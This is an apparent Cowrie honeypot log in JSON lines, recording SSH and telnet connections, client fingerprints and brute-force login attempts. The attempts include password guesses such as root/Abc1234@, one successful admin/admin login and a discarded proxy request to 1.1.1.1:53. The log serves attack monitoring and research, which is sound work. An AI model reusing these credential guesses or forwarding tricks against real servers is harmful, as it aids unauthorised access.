{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":48054,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0263d9e2e5b","protocol":"ssh","message":"New connection: 61.72.55.130:48054 (159.203.135.109:22) [session: d0263d9e2e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:26.822941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:26.829361Z","src_ip":"61.72.55.130","session":"d0263d9e2e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:27.035798Z","src_ip":"61.72.55.130","session":"d0263d9e2e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123!@#qweQWE","message":"login attempt [ubuntu/123!@#qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:27.871513Z","src_ip":"61.72.55.130","session":"d0263d9e2e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:29.076278Z","src_ip":"61.72.55.130","session":"d0263d9e2e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.3481719493866,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:30.643857Z","src_ip":"38.54.119.93","session":"ac6779321024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39614,"dst_ip":"10.17.0.5","dst_port":23,"session":"241b8439f80a","protocol":"telnet","message":"New connection: 165.232.131.181:39614 (10.17.0.5:23) [session: 241b8439f80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:38.572245Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42464,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1eaecebb9ee","protocol":"telnet","message":"New connection: 165.232.131.181:42464 (10.17.0.5:23) [session: f1eaecebb9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:48.446072Z"}
{"eventid":"cowrie.session.closed","duration":0.9020535945892334,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:49.348007Z","src_ip":"165.232.131.181","session":"f1eaecebb9ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58520,"dst_ip":"10.17.0.5","dst_port":22,"session":"0420cab0ff8b","protocol":"ssh","message":"New connection: 87.251.64.176:58520 (10.17.0.5:22) [session: 0420cab0ff8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:49.960346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:49.963923Z","src_ip":"87.251.64.176","session":"0420cab0ff8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:50.059263Z","src_ip":"87.251.64.176","session":"0420cab0ff8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:50.354684Z","src_ip":"87.251.64.176","session":"0420cab0ff8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:50.453474Z","session":"0420cab0ff8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:50.550769Z","src_ip":"87.251.64.176","session":"0420cab0ff8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:50.649483Z","src_ip":"87.251.64.176","session":"0420cab0ff8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":57806,"dst_ip":"159.203.135.109","dst_port":22,"session":"f89570df593b","protocol":"ssh","message":"New connection: 20.203.42.204:57806 (159.203.135.109:22) [session: f89570df593b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:51.663694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:51.668333Z","src_ip":"20.203.42.204","session":"f89570df593b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:51.834546Z","src_ip":"20.203.42.204","session":"f89570df593b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45736,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfbd19c8c523","protocol":"telnet","message":"New connection: 38.54.119.93:45736 (10.17.0.5:23) [session: cfbd19c8c523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:52.054252Z"}
{"eventid":"cowrie.login.failed","username":"testssh","password":"password","message":"login attempt [testssh/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:52.547484Z","src_ip":"20.203.42.204","session":"f89570df593b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:53.720243Z","src_ip":"20.203.42.204","session":"f89570df593b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.998732805252075,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:56.977111Z","src_ip":"45.81.23.16","session":"3f3e2b9f30e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.1906561851501465,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:54:58.244823Z","src_ip":"38.54.119.93","session":"cfbd19c8c523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57246,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d4308ee2a78","protocol":"telnet","message":"New connection: 38.54.119.93:57246 (10.17.0.5:23) [session: 1d4308ee2a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:11.516882Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":59144,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f57425cbe91","protocol":"ssh","message":"New connection: 103.176.20.115:59144 (10.17.0.5:22) [session: 7f57425cbe91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:17.631451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:17.637743Z","src_ip":"103.176.20.115","session":"7f57425cbe91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:17.895350Z","src_ip":"103.176.20.115","session":"7f57425cbe91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc1234@","message":"login attempt [root/Abc1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:18.948714Z","src_ip":"103.176.20.115","session":"7f57425cbe91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.580732583999634,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:19.097473Z","src_ip":"38.54.119.93","session":"1d4308ee2a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:20.211469Z","src_ip":"103.176.20.115","session":"7f57425cbe91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.917428731918335,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:23.489531Z","src_ip":"165.232.131.181","session":"241b8439f80a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":45330,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b19fbd1c2a3","protocol":"ssh","message":"New connection: 61.72.55.130:45330 (159.203.135.109:22) [session: 6b19fbd1c2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:23.495232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:23.500541Z","src_ip":"61.72.55.130","session":"6b19fbd1c2a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:23.705804Z","src_ip":"61.72.55.130","session":"6b19fbd1c2a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc@123","message":"login attempt [ubuntu/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:24.543769Z","src_ip":"61.72.55.130","session":"6b19fbd1c2a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:25.750592Z","src_ip":"61.72.55.130","session":"6b19fbd1c2a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":27176,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1d4b3ad19cd","protocol":"ssh","message":"New connection: 94.156.152.18:27176 (159.203.135.109:22) [session: e1d4b3ad19cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:27.282833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:27.287570Z","src_ip":"94.156.152.18","session":"e1d4b3ad19cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:27.426917Z","src_ip":"94.156.152.18","session":"e1d4b3ad19cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ#8VCPU16GBAMD","message":"login attempt [root/XYZZ#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:27.831683Z","src_ip":"94.156.152.18","session":"e1d4b3ad19cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:28.968963Z","src_ip":"94.156.152.18","session":"e1d4b3ad19cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.4.116.118","src_port":9550,"dst_ip":"159.203.135.109","dst_port":23,"session":"4569e48a809d","protocol":"telnet","message":"New connection: 200.4.116.118:9550 (159.203.135.109:23) [session: 4569e48a809d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:37.826743Z"}
{"eventid":"cowrie.session.closed","duration":12.783072710037231,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:50.609713Z","src_ip":"200.4.116.118","session":"4569e48a809d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":11274,"dst_ip":"159.203.135.109","dst_port":22,"session":"149870971922","protocol":"ssh","message":"New connection: 193.46.255.86:11274 (159.203.135.109:22) [session: 149870971922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:58.597829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:58.607988Z","src_ip":"193.46.255.86","session":"149870971922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:58.748288Z","src_ip":"193.46.255.86","session":"149870971922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:55:59.369616Z","src_ip":"193.46.255.86","session":"149870971922","protocol":"ssh"}
